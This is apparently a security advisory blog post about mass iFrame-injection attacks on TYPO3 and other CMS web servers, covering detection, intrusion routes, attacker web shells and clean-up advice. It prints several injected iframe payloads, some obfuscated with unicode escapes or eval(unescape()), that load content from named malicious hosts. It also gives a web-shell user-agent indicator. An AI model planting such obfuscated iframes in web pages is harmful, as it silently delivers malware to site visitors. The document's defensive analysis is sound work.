Massive Web Server Hacks (”iFrame Attacks”) - Now Extended To TYPO3

By: Ekkehard Gümbel

Lately, numerous reports have been discussing a new scheme of attacks that affect all kinds of web servers. This wave has now reached TYPO3 (and other CMS systems).

_{[Please find the german original of this article on my personal TYPO3 Security Blog.]}

Lately, numerous reports have been discussing a new scheme of attacks that affect all kinds of web servers. For examples see "Large scale European Web Attack" or "Large scale attack on web users underway", and many other sources. In these attacks – which are at least partly automated – various exploits are being used to hijack web servers.

This wave has now reached TYPO3 (and other CMS systems): Multiple reports about such incidents were posted in forums, others have passed to the TYPO3 Security Team silently. In this article I would like to present the findings that may be of general interest.

"Is my system affected?"

Currently, the hacked systems seem to be abused mainly for small HTML “Inline Frames" (iFrames) that are hidden inside the affected websites source code. Now, when I - the unsuspecting end users - surf to that website, it may look completely normal to me, while at the same time, additional (malicious) content is loaded from another server. And may try all kinds of bad things to my PC (using e.g. new Javascript or Windows exploits.)

In other words: The hacked servers are turned into centrally-controlled malware distributors. (HOWEVER: This can change tomorrow! If the hackers should decide to abuse their victim servers in some different fashion, or even to do really destructive things, they will be able to do that.) Please find links to further analyses in the search engine of your choice, or e.g. in the articles mentioned above.

Let's concentrate on the "iFrame" attacks. How do these look in reality? The basics are pretty easy: In the website source code, there is the embedded iFrame, e.g. in the simplest syntax:

<iframe src=http://www.alexa-rank.info/libraries/iframe.php?u=a4" style="display:none"></iframe>

But the hackers (or maybe only “the hacker"?) have been using various other variants in order to obscure what is going on. In the next example, the target IP 203.223.159.105 (= www.alexa-rank.info) is used in hexadecimal notation “0xcbdf9f69" - now it reads:

<iframe src="http://0xcbdf9f69/google-analytics/iframe.php?u=a4" style="display: none;"></iframe>

Besides “alexa-rank.info", various other target systems have been seen, including

• gashar.info (so far only used for Joomla Hacks)
• www.free20.com
• google-counter.org
• …

Here are some even larger masking examples:
<meta name="description" content="<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>" />

[ <a<br />href="Login.html" class="bottomnav">Login]<iframe src="http://0xcbdf9f69/libraries/iframe.php" style="display: none"></iframe> ]

<script type="text/javascript">document.write('
\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020
\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070
\u003a\u002f\u002f\u0030\u0078\u0063\u0062\u0064
\u0066\u0039\u0066\u0036\u0039\u002f\u0067\u006f
\u006f\u0067\u006c\u0065\u002d\u0061\u006e\u0061
\u006c\u0079\u0074\u0069\u0063\u0073\u002f\u0069
\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068
\u0070\u003f\u0075\u003d\u0061\u0034\u0020\u0073
\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f
\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066
\u0072\u0061\u006d\u0065\u003e');</script>

<script type="text/javascript">document.write
('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0073\u0072\u0063\u003d\u0068
\u0074\u0074\u0070\u003a\u002f\u002f\u0077
\u0077\u0077\u002e\u0061\u006c\u0065\u0078
\u0061\u002d\u0072\u0061\u006e\u006b\u002e
\u0069\u006e\u0066\u006f\u002f\u006c\u0069
\u0062\u0072\u0061\u0072\u0069\u0065\u0073
\u002f\u0069\u0066\u0072\u0061\u006d\u0065
\u002e\u0070\u0068\u0070\u0020\u0073\u0074
\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e
\u006f\u006e\u0065\u0022\u003e\u003c\u002f
\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script>

<script type="text/javascript">eval
(unescape('%64%6F%63%75%6D%65%6E%74%2E
%77%72%69%74%65%28%27%3C%69%66%72%61
%6D%65%20%73%72%63%3D%68%74%74%70%3A
%2F%2F%77%77%77%2E%61%6C%65%78%61%2D
%72%61%6E%6B%2E%69%6E%66%6F%2F%6C%69
%62%72%61%72%69%65%73%2F%69%66%72%61
%6D%65%2E%70%68%70%3F%75%3D%61%34%20
%73%74%79%6C%65%3D%22%64%69%73%70%6C
%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%
69%66%72%61%6D%65%3E%27%29%3B'));</script>


One of the web shells that may be installed on a hacked system requires the following user agent string:
"http://www.googlebot.com/bot.html)" (but with an "shtml" suffix instead of "html"!)
Thus: If such an entry (including the changed suffix mentioned above) DOES occur in your web server log files, this should definitely ring an alarm. If it does NOT occur - that means nothing…

“How do the hackers gain access to a system?"

Obviously using different ways…
- Various applications are affected, including TYPO3 and others (Joomla, …)
- In some cases, flaws in the underlying software (e.g. cPanel) have been used.
- Cases were reported where known vulnerabilities in TYPO3 third party extensions (e.g. the “macina_banners bug“;) were used. At this point, I want to repeat our standard recommendation to keep your system up to date, i.e. apply fixed for all known problems if present!
The TYPO3 Security Team did not yet find any hints that unknown issues with TYPO3 (core or extensions) have been exploited here. Nevertheless, it is still a concern that this may turn out to be the case. Therefore, whoever finds hints that point into this direction is requested to silently forward that information to the TYPO3 Security Team.

Whatever way was used: As result of a successful penetration, the hacker will end up having direct access to the system - at least with the privileges that the web server process has. He will then use these in the next step.

“What do the hackers do on the server?"

Currently, we are seeing basically two things being done:
- The hacker creates himself a comfortable working environment (e.g. by installing a web shell such as “r57shell" or “STNC WebShell" - web GUIs that let them work with files or issue shell commands in a convenient way). By the way, to me this seems to prove that we are not facing fully automated attacks like worms etc. but at least some hand work!
- Then, the hacker will manipulate files (through adding the “iFrame"-code e.g. at the end of index.php or other files, even localconf.php)
Again, we sometimes see some camouflage here. The bad code (e.g. web shell) is hidden in various ways, like placing it in different extension subdirectories, or typo3temp. Or, even more creatively: It is placed into files with unsuspicious suffixes (e.g. CSS) and these made executable by htaccess. Or the code is just included. Etc., etc. ...
Anyhow: The hackers (I stick with the plural now) act rather variedly and also seem to have some TYPO3 knowledge - not too much required here, though...

“My server was hacked. How can I clean up?"

That's very difficult! The sole removal of the visible symptoms (e.g. “removing the iFrame-Code from index.php") is clearly not enough. Reliable clean-up would mean: Make sure that all changes (in databases and files) are undone, and no backdoors remain open to hacker. Frankly: This is VERY difficult, to be exact I even had to say: impossible.

My urgent recommendation is to completely restore the system from an intact backup!

If for whatever reason there is no way for you to do that, you should at least take the following advice:

• First of all, disconnect the system from the Internet
• Try to make sure the intruder did not get system access beyond the privileges of the web server (thus, with Linux/Unix: become root). Root kit search tools like "chkrootkit" may help.
• Next, try to find out which flaw was used to hack the system. Are there any TYPO3 extensions that are known to be vulnerable? Any outdated middleware versions (Apache, PHP, cPanel, …) or third software (phpBB, …)? Maybe an FTP account was abused (e.g. by trying trivial passwords or even "brute force")?
• Now it's clean-up time. Good luck with this... (see above.) [Maybe you can at least drop and re-install the TYPO3 source and typo3conf stuff. But again: So many other things that may be compromised...]

"Who can I talk to, and what else should I do?"

As already said: If you should find anything that points to a yet undiscovered issue (with TYPO3 core or with a TYPO3 third-party extension), this information should absolutely forward that to the TYPO3 Security Team (of course, all information will be handled confidentially). They will examine whether your findings really reflect a new issue, make sure it is getting fixed quickly and properly, and then issue a bulletin to the public. This is not only announced through typo3.org but also on the "TYPO3 Announce" mailing list, which really everybody who runs TYPO3 should subscribe to.

If you find other (not TYPO3 specific), undiscovered problems, please contact the appropriate manufacturer.

In no case, vulnerabilities should be leaked to the public before they get repaired and officially announced!

Finally I would like to ask everybody who runs TYPO3 websites or servers to do an ongoing careful and security-conscious job. This includes: Careful selection and configuration of all software that is used, quick application of security fixes both for web apps (e.g. TYPO3 or TYPO3 third-party extensions) and for operating system and middleware.

If nothing else, the current situation shows how vulnerable the server side of today's Internet still is... but that's a different story, maybe worth another blog entry :-)

Last suggestion: A collection of more detailed advisory can be found the TYPO3 Security Cookbook. Please find the link on the TYPO3 Security Team web page.